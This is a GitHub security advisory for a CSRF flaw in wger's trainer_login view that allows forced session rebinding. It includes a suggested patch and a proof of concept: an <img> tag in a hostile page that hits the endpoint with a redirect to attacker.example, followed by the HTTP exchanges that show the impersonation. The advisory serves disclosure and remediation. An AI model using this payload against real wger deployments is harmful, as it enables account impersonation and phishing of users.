GHSA-xf64-4pmc-h8qf

Suggest an improvement
Source
https://github.com/advisories/GHSA-xf64-4pmc-h8qf
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-xf64-4pmc-h8qf/GHSA-xf64-4pmc-h8qf.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-xf64-4pmc-h8qf
Aliases
  • CVE-2026-45161
Published
2026-10-07T13:45:33Z
Modified
2026-10-07T14:00:04Z
Severity
  • 5.4 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N CVSS Calculator
Summary
wger: trainer_login accepts GET - CSRF bypass enables forced session rebinding
Details

Summary

The trainer_login view in wger accepts GET requests and executes django_login() without any CSRF protection, because Django's CsrfViewMiddleware only enforces tokens on unsafe methods (POST/PUT/PATCH/DELETE). An attacker can embed a single <img> tag on a malicious page; when an authenticated trainer loads that page, their browser auto-issues the GET with the session cookie, forcibly rebinding the trainer's session to an arbitrary user account.

Details

File: wger/core/views/user.py, approximately lines 161-210

# VULNERABLE - no @require_POST, no request.method == 'POST' guard
# CsrfViewMiddleware is bypassed because CSRF enforcement only applies to
# unsafe HTTP methods (POST, PUT, PATCH, DELETE)
def trainer_login(request, user_pk):
    ...
    django_login(request, user, backend='django.contrib.auth.backends.ModelBackend')
    return HttpResponseRedirect(...)

Because the view handles GET, Django's CSRF middleware does not validate any token. An attacker can place <img src="https://wger.target/en/user/2/trainer-login"> on any web page. When an authenticated trainer's browser loads that page, it issues the GET request with the session cookie attached (SameSite=Lax does not block same-site top-level navigation and subresource hops triggered by same-origin redirects). The server executes django_login() and issues a new session cookie binding the trainer to the victim user.

Playwright-verified in Chromium 147: the SameSite bypass occurs via a ?next= redirect chain - the initial cross-origin subresource hop is blocked by SameSite, but the server's 302 -> /user/login?next=... redirect causes the browser to follow a same-origin hop that attaches the cookie, and the subsequent redirect to the original URL executes the action.

Affected endpoint:

  • GET /en/user/<user_pk>/trainer-login -> wger.core.views.user.trainer_login

Suggested patch:

--- a/wger/core/views/user.py
+++ b/wger/core/views/user.py
+from django.views.decorators.http import require_POST
+
 @login_required()
+@require_POST
 def trainer_login(request, user_pk):
     ...
-    # Move ?next= handling to POST body - never use GET params for
-    # security-sensitive redirects
+    next_url = request.POST.get('next', reverse('core:index'))
+    if not url_has_allowed_host_and_scheme(next_url, allowed_hosts={request.get_host()}):
+        next_url = reverse('core:index')
     return HttpResponseRedirect(next_url)

Requiring POST ensures Django's CSRF middleware validates the csrfmiddlewaretoken on every impersonation request, eliminating the CSRF vector. Moving next to the POST body also removes the open-redirect surface (submitted separately).

PoC

Tested on wger/server:latest Docker image + Playwright/Chromium 147. Victim: trainer1 (gym.gym_trainer permission).

Step 1 - Attacker hosts malicious page:

<!-- evil.html -->
<img src="http://target/en/user/2/trainer-login?next=//attacker.example/exfil"
     width="1" height="1">

Step 2 - Authenticated trainer loads evil.html. Browser auto-issues:

GET /en/user/2/trainer-login?next=//attacker.example/exfil HTTP/1.1
Host: target
Cookie: sessionid=[trainer1_session]
(no CSRF token required)

Step 3 - Server responds:

HTTP/1.1 302 Found
Location: //attacker.example/exfil
Set-Cookie: sessionid=[alice_session]   <- session rebound to alice

Step 4 - Confirm impersonation:

GET /api/v2/userprofile/ HTTP/1.1
Cookie: sessionid=[alice_session]

-> 200 OK: {"username":"alice",...}

Reproducibility: 2/2 runs. Playwright browser verification confirmed SameSite=Lax is bypassed via the server's own ?next= redirect chain.

Impact

An attacker who can cause an authenticated trainer to load a malicious page (phishing email, malicious link, third-party gym management tool integration, ad network, comment section with images) can forcibly switch the trainer's session to any user account in the gym - without the trainer's awareness or consent. The trainer's browser is then operating as the victim user. Combined with the ?next= parameter, the post-impersonation redirect can send the trainer to the attacker's domain, amplifying phishing and credential-harvesting attacks.

This CSRF primitive is the delivery vector that unlocks the trainer_login scope bypass (separate submission) without requiring the attacker to compromise the trainer's credentials directly.

Affected deployments: every wger instance where gym.gym_trainer is delegated to non-admin users.

Severity: Medium (CVSS 5.4). Network-reachable, low complexity, low privilege (trainer role required as victim), requires page load (UI:R), scope change (attacker's origin via redirect).

Database specific
{
    "cwe_ids": [
        "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-07T13:45:33Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
}
References

Affected packages

PyPI / wger

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Last Affected
2.1

Affected versions

1.*
1.1
1.1.1
1.2rc1
1.2
1.3
1.4
1.5
1.6
1.6.1
1.7
1.8
1.9
2.*
2.0
2.1

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-xf64-4pmc-h8qf/GHSA-xf64-4pmc-h8qf.json"